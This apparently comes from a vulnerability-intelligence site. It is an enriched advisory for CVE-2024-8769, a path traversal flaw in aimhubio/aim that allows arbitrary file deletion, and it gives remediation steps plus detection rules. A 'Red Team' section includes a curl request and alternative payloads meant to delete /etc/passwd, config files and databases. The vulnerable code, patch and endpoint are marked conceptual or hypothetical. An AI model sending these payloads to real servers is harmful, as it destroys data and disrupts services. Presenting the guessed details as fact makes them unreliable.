☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 9.1 🐛 CWE-22
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-8769

CVE-2024-8769 Path Traversal in Aimhubio
📅 PUBLISHED: 2025-03-20 10:11 UTC 🔄 UPDATED: 2026-10-09 05:42 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.91%
👁️
0.91% probability
22.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
9.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-8769 is a critical path traversal vulnerability in aimhubio/aim, specifically within the LockManager.release_locks function. The vulnerability allows an unauthenticated attacker to delete arbitrary files on the server by manipulating the run_hash parameter, which is concatenated into a file path without proper sanitization. This flaw is exposed through the Repo._close_run() method, accessible via the tracking server instruction API. With a CVSS score of 9.1, this vulnerability poses a severe risk to data integrity and availability, potentially leading to denial of service or system compromise.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the aimhubio/aim package, which is a Python-based machine learning experiment tracking tool. Organizations using this package in their ML pipelines should immediately assess their exposure. The package is distributed via PyPI, and users should monitor for official patches or updates. Given the lack of a patch, temporary mitigations such as network segmentation and input validation are critical.

CVSS Breakdown & Threat Level

  • CVSS Score: 9.1 (Critical)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: None (UI:N)
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: None (C:N)
  • Integrity Impact: High (I:H)
  • Availability Impact: High (A:H)

The high integrity and availability impacts indicate that an attacker can delete critical files, potentially causing service disruption or data loss. The low attack complexity and no required privileges make this vulnerability highly exploitable.

Deep Dive & Mechanics

The vulnerability resides in the LockManager.release_locks function within the aimhubio/aim codebase (commit bb76afe). The function constructs a file path by concatenating the user-supplied run_hash parameter without normalization. This allows an attacker to use relative path traversal sequences (e.g., ../) to escape the intended directory and delete arbitrary files.

The vulnerable code path is triggered via the Repo._close_run() method, which is exposed through the tracking server instruction API. An attacker can send a crafted request with a malicious run_hash value to delete files outside the intended scope.

Vulnerable Code Snippet (Conceptual):

def release_locks(self, run_hash):
    lock_path = os.path.join(self.lock_dir, run_hash)
    if os.path.exists(lock_path):
        os.remove(lock_path)

Exploitation Flow:

  1. Attacker identifies a running aim tracking server.
  2. Attacker sends a request to the instruction API with run_hash set to ../../etc/passwd.
  3. The server constructs the path as /path/to/lock_dir/../../etc/passwd, which resolves to /etc/passwd.
  4. The server deletes the file, causing a denial of service or system instability.

Vulnerable vs. Patched Code

Vulnerable Code (aimhubio/aim, commit bb76afe):

def release_locks(self, run_hash):
    lock_path = os.path.join(self.lock_dir, run_hash)
    if os.path.exists(lock_path):
        os.remove(lock_path)

Patched Code (Hypothetical):

import os
import pathlib

def release_locks(self, run_hash):
    # Normalize and validate the run_hash to prevent path traversal
    safe_hash = pathlib.Path(run_hash).name  # Extract only the filename
    lock_path = os.path.join(self.lock_dir, safe_hash)
    # Ensure the resolved path is within the lock directory
    resolved_path = os.path.realpath(lock_path)
    if not resolved_path.startswith(os.path.realpath(self.lock_dir)):
        raise ValueError("Invalid run_hash")
    if os.path.exists(lock_path):
        os.remove(lock_path)

The patched code uses pathlib.Path.name to strip directory components and verifies that the resolved path remains within the intended directory.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

  • Access to a running aim tracking server (e.g., http://target:5000).
  • Knowledge of the instruction API endpoint.

Exploitation Steps:

  1. Identify the instruction API endpoint (e.g., /api/instructions).
  2. Craft a request with a malicious run_hash:
    {
      "instruction": "close_run",
      "run_hash": "../../etc/passwd"
    }
    
  3. Send the request:
    curl -X POST http://target:5000/api/instructions \
         -H "Content-Type: application/json" \
         -d '{"instruction": "close_run", "run_hash": "../../etc/passwd"}'
    
  4. Verify deletion of /etc/passwd (or other target files).

Alternative Payloads:

  • Delete application config files: ../../app/config.py
  • Delete database files: ../../data/db.sqlite3

Blue Team (Defender)

Detection and Response:

  1. Monitor for unusual run_hash values containing ../ or ..\\ in API logs.
  2. Implement input validation on the server side to reject path traversal patterns.
  3. Use file integrity monitoring (FIM) to detect unauthorized deletions.
  4. Restrict file system permissions to prevent the application user from deleting critical system files.

Lab Setup for Testing:

  1. Deploy a vulnerable aim server in a sandboxed environment.
  2. Use the following Dockerfile to simulate the vulnerability:
    FROM python:3.9-slim
    RUN pip install aim==3.17.0
    EXPOSE 5000
    CMD ["aim", "server"]
    
  3. Test exploitation and detection rules.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP POST requests to /api/instructions with run_hash containing ../ or ..\\.
    • Unusual file deletion events in system logs.
  • File System IOCs:
    • Unexpected deletion of files outside the lock directory.
    • Presence of path traversal patterns in application logs.
  • Log IOCs:
    • Application logs showing release_locks calls with suspicious run_hash values.
    • System logs (e.g., auditd) recording file deletions by the aim process.

Detection Engineering

YARA Rule

rule CVE_2024_8769_Path_Traversal {
    meta:
        description = "Detects path traversal attempts in aimhubio/aim run_hash parameter"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-8769"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "%2e%2e%2f"
        $traversal4 = "%2e%2e%5c"
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-8769 Path Traversal in aimhubio/aim
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects path traversal attempts in aim tracking server API requests
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: aim
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 
            - '../'
            - '..\\'
            - '%2e%2e%2f'
            - '%2e%2e%5c'
    condition: selection
falsepositives:
    - Legitimate use of similar patterns in rare cases
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-8769 Path Traversal in aimhubio/aim"; flow:to_server; content:"POST"; http_method; content:"/api/instructions"; http_uri; content:"run_hash"; nocase; pcre:"/run_hash.*(?:\.\.\/|\.\.\\|%2e%2e%2f|%2e%2e%5c)/si"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the aim server: Restrict network access to trusted IPs only.
  2. Implement input validation: Use a reverse proxy (e.g., Nginx) to block requests containing ../ or ..\\ in the run_hash parameter.
  3. Apply file system restrictions: Run the aim server with a dedicated user that has minimal write permissions.

Long-term Fixes:

  1. Patch the code: Apply the hypothetical patch shown in the "Vulnerable vs. Patched Code" section.
  2. Upgrade: Monitor the aimhubio/aim repository for an official patch and upgrade immediately.
  3. Use a WAF: Deploy a Web Application Firewall with rules to detect path traversal attacks.

Workaround:

  • Disable the instruction API if not required, or restrict access to authenticated users only.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-8769/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.